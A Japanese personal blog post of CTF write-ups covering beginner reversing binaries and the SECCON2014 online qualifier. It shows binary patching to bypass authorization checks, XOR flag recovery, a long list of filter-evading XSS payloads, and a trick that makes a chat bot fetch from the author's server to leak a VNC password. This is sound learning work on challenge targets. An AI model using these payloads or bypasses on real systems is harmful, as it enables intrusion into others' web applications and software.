CTF for Beginners のバイナリ問題を見てみた
SECCON2014 オンライン予選もひと段落した。
前回のエントリ書いたときにreversing力が欲しいとか思ったので、手始めにCTF for Beginnersのバイナリを見てみた。
といってもそこまでちゃんと見たわけではないけど…。
問題名とかは忘れてしまったので、バイナリファイル5つをファイル名順に見ていく。
第1回に参加したため、第2回とは問題ファイルが違っているかもしれない。
なお、IDAはデモ版でなくてFree版を使っている。
なぜデモ版を使わないの?
と言われると特に理由はないです。しいて言えばデモ版のメリット/デメリットを評価できてないからかな。
今度調べてみよう。てか有償版ほしい。
ctf_bin1
ctf_bin1 ファイルが与えられるため、fileコマンドで確認する。
[root@kali] # file ctf_bin1 ctf_bin1: Microsoft Word 2007+
Word2007のようなので、ファイル名を"ctf_bin1.docx" にすればWordやWordpadでファイルを開ける。
ctf_bin2
同じように ctf_bin2 ファイルが与えられる。まずはfileコマンドで確認。[root@kali] # file ctf_bin2
ctf_bin2: data
バイナリデータっぽい。
サイズは、
[root@kali] # ls -lh ctf_bin2 -rw-r--r-- 1 root root 11M 6月 28 12:36 ctf_bin2
めっちゃでかいw
ASCIIもめっちゃありそうだなぁ…と思いつつstringsコマンドを打ってみると、
[root@kali] # strings ctf_bin2
Beginning_of_The_History
FLAG出てきました。
ctf_bin3
ctf_bin3. ここからアセンブラを見ていく。[root@kali] # file ctf_bin3 ctf_bin3: PE32 executable (console) Intel 80386, for MS Windows [root@kali] # mv ctf_bin3 ctf_bin3.exe
実行してみると、誰だか聞かれる。
正しい名前を入力する必要がある模様。
C:\>.\ctf_bin3.exe Who are you? > hoge Authorization failed...
stringsコマンドを打ってもFLAGっぽい文字列は見つからないため、IDAで逆アセンブルする。
見る場所は、"Who are you?" あたりの文字列から探せばすぐに見つかった。
"Alt + t" で検索窓を出して "Who are you" で検索すると、.textセクションで文字列をpushしているところが見つかるので、この付近から見ていく。
検索結果
赤四角の直前で al が0かどうか確認し、0の場合に右側の失敗ルートに入っているようだ。
てことは、ここでalが0以外の状態か、ここの命令を書き換えると左側(赤矢印)の成功ルートに入れる。
まずは手っ取り早く命令を書き換えてみることにする。
上図の青四角がアドレスである。"0000048E" の部分を書き換える。jmp命令2バイト分をNOP(何もしない命令:0x90)に書き換えると、条件判断をせずに無条件で左のルートに入ることができる。
IDAがFree版で書き換え機能がないので、他のバイナリエディタを使って書き換えを行った。使ったのはStirling.
これで実行してみるとFLAGが表示されるかと思ったら…
C:\>.\ctf_bin3_edit.exe Who are you? > hoge Authorization succeeded! Here is the secret flag: zD^REnEwLZY (←実際は文字化け)
ですよね。でないとstrings打った時点でFLAG出てますよね。
先ほどのアセンブラの中に、"compareStr" という関数へのCall命令がある(赤四角の少し上の部分)ので、その中を見てみる。
あ、ちなみに画像に出てくる関数名や変数名はリネーム済み。コメントアウトも追記したものです。
ざっくり言うと、
①で入力した文字列長が13かどうか確認して、
②で文字テーブルから取り出した値を0x39とXOR, その後3bit右ローテーションする
処理を繰り返し、入力値の正否を判断する文字列を生成している。
3B 1A 52 B0 4A B0 90 80 AA 3B 80 B8 AA ↓ 02 23 6b 89 73 89 a9 b9 93 02 b9 81 93 ↓ 40 64 6d 31 6e 31 35 37 72 40 37 30 72 ← これと入力値を比較 @ d m 1 n 1 5 7 r @ 7 0 r
というわけで、正しい入力値は "@dm1n157r@70r".
C:\>.\ctf_bin3.exe Who are you? > @dm1n157r@70r Authorization succeeded! Here is the secret flag: ROTATION_AND_XOR
どうせなので、flag生成のところも見てみる。
最初に見ていたところの左側(赤矢印)ルートの真下に、親切にもFlagを生成するロジックがある。
# コメントとかリネームいれているので、これだけでわかると思うけど
簡単に言ってしまうと、
①で文字数をカウントし、
②で、バイナリ内に存在するテーブル値と入力値をXORする
ことでFlagを生成している模様。
このとおりにトレースしてみると、確かにFlagが生成されている。
src = [0x12,0x2b,0x39,0x70,0x3a,0x78,0x7a,0x79,0x2d,0x01,0x79,0x74,0x2d,0x18,0x2b,0x3f] inputstr = '@dm1n157r@70r' l = len(inputstr) dst = '' for i in range(16): dst += str(unichr(ord(inputstr[i%l])^src[i])) print dst
[root@kali] # python ctf_bin3.py
ROTATION_AND_XOR
ctf_bin4
ctf_bin4. これもアセンブラだった。[root@kali] # file ctf_bin4 ctf_bin4: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows [root@kali] # mv ctf_bin4 ctf_bin4.exe
実行してみると、Debugモードでないと動かんと言われる。
IDAで開いてみる。"Ctrl + F12" で関数をチャート化してみた。
memcpyとかも怪しいけど、ぱっと見、startから右下に下がっていったところ(赤四角部分)が怪しいかなと思い、見てみるとビンゴ。
loc_40143Aから左下に下りたところらへんでFlagとかセットしてそう。
OllyDbgで開いてみて、このへんにBreakPointつけたら、Flag出てきました。
Flag{Flag_is_always_with_debugger}
というわけで、詳しく見てみる。
上図のグラフの右側 "loc_40140F" が、文字列を取ってきてdecode処理をしている箇所になる。
ここのループを抜けるとFlag文字列が出来上がっている。その後に、左側のルートに入り、"call dispFirstMSG" 処理をしている。この関数の中身は以下のような処理が走っている。
①で、1msのタイマーをセット
②でFlag文字列をセットして
③でメッセージボックスを表示
でも、1ms後にメッセージボックス消失。
という流れ。つまり、この1msのタイマーを消してやれば、Flagが消滅せずに表示される。
上図の青四角部分は、SetTimerを呼んでいるところのアドレス。"000009EC"のCall命令(000009EFまで)をNOPに書き換えてやる。
また、呼び出し元関数にデバッガモードかどうかの判断ロジックがあるため、ここも改竄してあげる。
"jz loc_40151A" 命令を削除(000007EA~000007EF をNOPに書き換え)。
すると、通常起動でも動作してFlagが表示される。
なお、この後の動作は、最初のFlag生成と同じdecode処理がもう一回走っている(赤枠部分)。
その上で、
①2回decodeが走った後の文字列をメッセージボックスで出し、
②「2回decodeしちゃったテヘペロ (・ω<)」というメッセージボックスをもっかい出している
という流れだった。
というわけで、出てくるMessageBoxは全部で3つ。
という流れのプログラムなのであった。
ctf_bin5
はたまたこれもWindowsの実行ファイル。Windows縛り。[root@kali] # file ctf_bin5 ctf_bin5: PE32 executable (console) Intel 80386, for MS Windows [root@kali] # mv ctf_bin5 ctf_bin5.exe
実行してみると、"INVALID KEY!!" と表示されて終了。
C:\>.\ctf_bin5.exe INVALID KEY!!
IDAで処理フローを確認して、"INVALID KEY!!" 付近を見てみると、またもや条件分岐でFlagを表示させるルートが。
今回は、IDAのデモ版を使って書き換えてみる(深い意味はない。でもStirlingでやるより楽だった)。
書き換えたい"jz"命令を選択した状態で、
[Edit] > [Patch program] > [Change byte...]
"jz"命令(0x74)を "jnz"命令(0x75)に書き換える。もちろんNOP(0x90)にしてもOK.
書き換えたファイルを実行すると、Flagが表示される。
C:\>.\ctf_bin5_flag.exe FLAG IS : "Salamander"
入力値をどうにかしているのか、と思ったらそうでもなさそうなので、ここを書き換えるのが解法なんかなーと思った。
# 単純にreversing力不足で見つけられていないだけかもしれないけど。
せっかくなのでFlag生成部分を見てみる。
この処理をしている関数"sub_401000"が呼ばれた際に、値を格納しまくっている。
1byteなのでchar型と推測したけど、たまにバイナリも入ってるな…。
これが答えの種。
この宣言したやつが、どんどんスタックに積まれていく。
ここで宣言しまくった値を、
①1byteおきに参照して、
②0x20とxor(アルファベットの大文字/小文字逆転)して、
③変数(byte*)に入れる
処理をしているようだ。
つまり、
①で"sALAMANDER"を参照し、
②"Salamander"に変換して、
③答えの変数に入れてる。
以下はOllyDbgで追ってみたもの。文字列がSalamanderの16進数(リトルエンディアン)になってる。
ということで、CTF for Beginners のバイナリファイルをひととおり見てみた。
バイナリ力まだまだ足りないけど、IDAとOllyDBGは少しずつ使えるようになってきた感触がある。
strcpyだったりmemcpyだったり、はたまたprintfだったり、見ていく箇所は慣れてくると決まってくるのかもしれないけど、
実際にアセンブラから脆弱性を探してPwnできるようになるのは、まだ先かもしれない。
SECCON2014 オンライン予選Writeup
今までブログやらインターネッツをあさるときはずっとROM専だったわけだが、せっかくCTFやるならブログやってみれば?とチームメンバにいわれ、やってきたことの備忘録も付けたいなーと思っていたところなので、書いていくことにする。
今パンイチだけど。
タイトルにあるとおり、SECCON2014 オンライン予選にチームctpmとして参加してきた。ctpmは、去年の秋ぐらいに初めてCTFという世界に飛び込んで活動してきたチーム。
昨年もSECCON2013には参加した(全国大会20チームのうち最下位…orz)。
今回の結果は1000点で54位。これはヤバいなーと思い危機感がつのったけれど、良く捕らえれば刺激をもらえた大会だった。
以下、取り組んだ問題についてのWriteup.
バイナリ
x86アセンブラを読もう
以下のコードをアドレス 01361040 から実行した。
表示される数値を答えよ。
01361000 > 55 PUSH EBP
01361001 8BEC MOV EBP,ESP
01361003 83EC 08 SUB ESP,8
01361006 C745 FC 00000000 MOV DWORD PTR SS:[EBP-4],0
0136100D C745 F8 01000000 MOV DWORD PTR SS:[EBP-8],1
01361014 EB 09 JMP SHORT test.0136101F
01361016 8B45 F8 MOV EAX,DWORD PTR SS:[EBP-8]
01361019 83C0 01 ADD EAX,1
0136101C 8945 F8 MOV DWORD PTR SS:[EBP-8],EAX
0136101F > 8B4D F8 MOV ECX,DWORD PTR SS:[EBP-8]
01361022 3B4D 08 CMP ECX,DWORD PTR SS:[EBP+8]
01361025 7F 0B JG SHORT test.01361032
01361027 8B55 FC MOV EDX,DWORD PTR SS:[EBP-4]
0136102A 0355 F8 ADD EDX,DWORD PTR SS:[EBP-8]
0136102D 8955 FC MOV DWORD PTR SS:[EBP-4],EDX
01361030 ^EB E4 JMP SHORT test.01361016
01361032 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
01361035 . 83E8 02 SUB EAX,2
01361038 . 8BE5 MOV ESP,EBP
0136103A . 5D POP EBP
0136103B . C3 RETN
...
01361040 > . 55 PUSH EBP
01361041 8BEC MOV EBP,ESP
01361043 51 PUSH ECX
01361044 C745 FC 00000000 MOV DWORD PTR SS:[EBP-4],0
0136104B 6A FF PUSH FF
0136104D E8 AEFFFFFF CALL test.01361000
01361052 . 83C4 04 ADD ESP,4
01361055 . 8945 FC MOV DWORD PTR SS:[EBP-4],EAX
01361058 . 8B45 FC MOV EAX,DWORD PTR SS:[EBP-4]
0136105B . 50 PUSH EAX
0136105C . 68 F4203601 PUSH OFFSET "FLAG{%d}\n"
01361061 . FF15 A4203601 CALL DWORD PTR DS:[<&MSVCR100.printf>]
01361067 . 83C4 08 ADD ESP,8
アセンブラを読み、そのとおりにプログラムを書いて実行すれば良い。
#include<stdio.h>
int main(){
int i = 1;
int sum = 0;
for(i = 1; i<0x100; i++){
sum += i;
}
sum -= 2;
printf("FLAG{%d}\n",sum);
return 0;
}
FLAG
FLAG{32638}
WEB
箱庭XSSリターンズ
XSSで、"XSS"と書かれたalertボックスをひたすら出していく問題。
一度入力した英数字は次回からは使えなくなる。また、Stage20ではそれに加え"&", "\"も使えなくなる。
ループでalertを表示するような着想が得られなかったので、地道に解いていった。
基本系を下のような形で利用する。
これをhexやoct, decなどの表記で派生系を作りながら、禁止文字と被らないようにしていく。大会中つかったのは、以下のうち3種類程度。
"><script>alert("XSS")</script>
"onclick="alert('XSS')"
"onblur=`[]["push"]["constructor"]('alert("XSS")')()`
"onchange="/AAA/['constructor']['constructor']('alert(\'XSS\')')()
"onfocus="javascript:alert('XSS')
"onmousedown="window['alert']('XSS')"
"onmouseup="parent['alert']('XSS')"
"onfocusin="top['alert']('XSS')"
"onPaste="eval('alert(\'XSS\')')"
汚いから晒したくないのだけど、実際使ったものを一応貼っておく。
"oncopy=`[]["AAAAAAAAAAAAAAAAAAAApush".slice(20)]["AAAAAAAAAAAAAAAAAAAAconstructor".slice(20)]('AAAAAAAAAAAAAAAAAAAAalert'.slice(20)+'("'+'AAAAAAAAAAAAAAAAAAAAXSS")'.slice(20))()`
"onContextmenu=`[]["BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBpush".substring(31,35)]["BBBBBBBBBBBBBBBBBBBBBBconstructor".substring(22,33)]('BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBalert'.substring(31,36)+'("'+'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBXSS")'.substring(31,36))()`
"onpaste=`[]["CCCCCCCCCCCCCCCCCCCCCpush".substr(21)]["CCCCCCCCCCCCCCCCCCCCCconstructor".substr(21)]('CCCCCCCCCCCCCCCCCCCCCalert'.substr(21)+'("'+'CCCCCCCCCCCCCCCCCCCCCXSS")'.substr(21))()`
"onmouseleave=`[]["99999push".match(/[SXacehlmnoprstuvx]+/)]["99999constructor".match(/[SXacehlmnoprstuvx]+/)]('99999alert'.match(/[SXacehlmnoprstuvx]+/)+'("'+'99999XSS'.match(/[SXacehlmnoprstuvx]+/)+'")')()`
"><script>alert("XSS")</script>
"onfocus="javascript:alert('XSS')
"onmouseover="javascript:alert('XSS')
"onmousemove="javascript:alert('XSS')
"onmouseout="javascript:alert('XSS')
"onkeypress="javascript:alert('XSS')
"onclick="javascript:alert('XSS')
"ondblclick="javascript:alert('XSS')
"onmousedown="javascript:alert('XSS')
"onmouseup="javascript:alert('XSS')
"onkeydown="javascript:alert('XSS')
"onSelectStart=`[]["hsup".split("").reverse().join("")]["rotcurtsnoc".split("").reverse().join("")]('trela'.split("").reverse().join("")+'("'+'SSX'.split("").reverse().join("")+'")')()`
"onchange="/z/['\143onstructor']['\143onstructor']('\141lert'+'('+'\'\130SS\''+')')()
"onselect="/q/['\143\157nstructor']['\143\157nstructor']('\141\154ert'+'('+'\'\130\123S\''+')')()
"onblur=`[]["push"]["constructor"]('ale'+'rt("\170\163\163".toUpperCase())')()`
"onmousewheel=`[]["pu"+"sh"]["const"+"ructor"]('al'+'e'+'r'+'t("X'+'SS")')()`
6問目を解いたときと、20問目を解いたときに、それぞれFLAGが表示される。
FLAG{dbe6Z7bdbpa3e7cdcccc5c0}
FLAG{OO3auUR7e8712af065dBa6F}
最終的に禁止文字種類は250近かったと思うw
ネットワーク
ソーシャルハック?
犯人を追い詰めろ!
という問題文と、LINE風のチャット画面へのリンクが貼られている。
ソーシャルハックを仕掛けてFLAGを取得するというもの。 終了間際に気づいて、サーバ側で80番ポートでリクエストを待ち受ける。チャットで
http://待ち受けサーバIPアドレス/test.png
とかやると、サーバに対してアクセスしてくれる。
# 2014/7/22 キャプチャイメージ追加
リクエストUser-Agentを見ると、VNCのパスワードが記載されている。
あとはここにVNCでつないで、FLAGを取得したら完了。
と思いきや、scoreサーバにFLAGを投入したところで時間切れとなりsubmitできなかった。残念。
このほかに、チームメンバがフォレンジック300でも惜しいところまでいっていたけど、それを取れていたとしても全国大会にはいけてなかったので、潔く次回の予選に向けて力を蓄えようと思う。
このままでは前回のFinalの屈辱すら果たせなくなってしまうので、良い意味で緊張感を持って次回もチャレンジしたい。
それはそうと、今回の箱庭XSSではイベントハンドラを探してくるのが大変だった。今回のinput属性で使えるものを調べたのをついでに載せておく。
onclick
ondblclick
onkeydown
onkeypress
onkeyup ←これは今回動かなかった
onmouseover
onmousedown
onmouseup
onmouseenter
onmouseout
onmousemove
onmousewheel
onmouseleave
onfocus
onfocusin
onfocusout
onblur
onchange
onselect
onselectstart
ondrag
ondragstart
ondragend
ondrop
oncontextmenu
onpaste
onbeforepaste
oncopy
onbeforecopy
oncut
onbeforecut
他にもDecrypt it! にもちまちま取り組んでいたのだけど、何をまかり間違ったかpkcrack でなくてほかのツールでパスワード解析しながらIDAさんでアセンブラ読んでたら時間切れになってしまった。
せめてzip解凍ぐらいまではいきたかったな…
こういうのを解くための嗅覚とreverse力をもっと鍛えないと、と痛感した大会だった。